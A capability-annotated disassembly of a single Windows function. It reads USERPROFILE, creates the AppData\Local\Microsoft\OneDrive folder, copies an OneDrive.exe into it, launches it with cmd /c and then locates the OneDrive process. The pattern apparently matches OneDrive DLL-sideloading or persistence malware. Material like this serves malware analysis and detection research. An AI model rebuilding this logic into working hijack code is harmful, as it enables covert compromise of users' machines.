Function at 0x6d2c2e15
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x39c], 0
lea rcx, str.userprofile
call sym.getenv
mov qword [rbp + 0x390], rax
mov rdx, qword [rbp + 0x390]
lea rax, [rbp + 0x280]
mov rcx, rax
call sym.strcpy
mov rdx, qword [rbp + 0x390]
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x280]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x280]
add rax, rdx
movabs rbx, 0x617461447070415c
mov qword [rax], rbx
movabs rbx, 0x6f526c61636f4c5c
mov qword [rax + 8], rbx
movabs rbx, 0x736f7263694d5c77
mov qword [rax + 0x10], rbx
movabs rdi, 0x44656e4f5c74666f
mov qword [rax + 0x18], rdi
mov dword [rax + 0x20], 0x65766972
mov byte [rax + 0x24], 0
lea rax, [rbp + 0x280]
mov rdx, rax
lea rcx, str.path_:__s_n
call sym.printf
lea rax, [rbp + 0x280]
mov rcx, rax
call sym.mkdir_recursive
test eax, eax
jne 0x6d2c2f22
lea rax, [rbp + 0x280]
mov rdx, rax
lea rcx, str.mkdir_success_:__s_n
call sym.printf
jmp 0x6d2c2f38
lea rax, [rbp + 0x280]
mov rdx, rax
lea rcx, str.mkdir_error_:__s_n
call sym.printf
lea rax, [rbp + 0x170]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x170]
add rax, rdx
movabs rbx, 0x617461447070415c
mov qword [rax], rbx
movabs rdi, 0x4d5c6c61636f4c5c
mov qword [rax + 8], rdi
movabs rbx, 0x74666f736f726369
mov qword [rax + 0x10], rbx
movabs rbx, 0x76697244656e4f5c
mov qword [rax + 0x18], rbx
movabs rdi, 0x697244656e4f5c65
mov qword [rax + 0x20], rdi
mov dword [rax + 0x28], 0x652e6576
mov word [rax + 0x2c], 0x6578
mov byte [rax + 0x2e], 0
lea rax, [rbp + 0x170]
mov edx, 0
mov rcx, rax
call sym.access
cmp eax, 0xffffffff
je 0x6d2c30b4
lea rax, [rbp + 0x280]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x280]
add rax, rdx
mov qword [rax], rbx
mov dword [rax + 8], 0x78652e65
mov word [rax + 0xc], 0x65
lea rdx, [rbp + 0x280]
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.copy_file
test eax, eax
jne 0x6d2c303f
lea rcx, str.copy_success
call sym.puts
lea rcx, str.exist
call sym.puts
mov qword [rbp + 0x60], 0x20632f
lea rdx, [rbp + 0x68]
mov eax, 0
mov ecx, 0x1f
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x170]
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.strcat
lea rcx, str.OneDrive.exe
call sym.findMyProc
mov dword [rbp + 0x39c], eax
mov eax, dword [rbp + 0x39c]
mov edx, eax
lea rcx, str.process_id_:_d_n
call sym.printf
cmp dword [rbp + 0x39c], 0
je 0x6d2c30dc
jmp 0x6d2c30ca
lea rcx, str.not_exist
call sym.puts
mov eax, 0
jmp 0x6d2c31a2
mov eax, dword [rbp + 0x39c]
mov ecx, eax
call sym.reset_dll_name
jmp 0x6d2c319d
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
lea rax, [rbp + 0x60]
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
lea rcx, str.C:WindowsSystem32cmd.exe
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x6d2c319d
lea rcx, str.OneDrive.exe
call sym.findMyProc
mov dword [rbp + 0x39c], eax
mov eax, dword [rbp + 0x39c]
mov edx, eax
lea rcx, str.process_id_:_d_n
call sym.printf
mov eax, dword [rbp + 0x39c]
mov ecx, eax
call sym.reset_dll_name
mov eax, 0
add rsp, 0x420
pop rbx
pop rdi
pop rbp
ret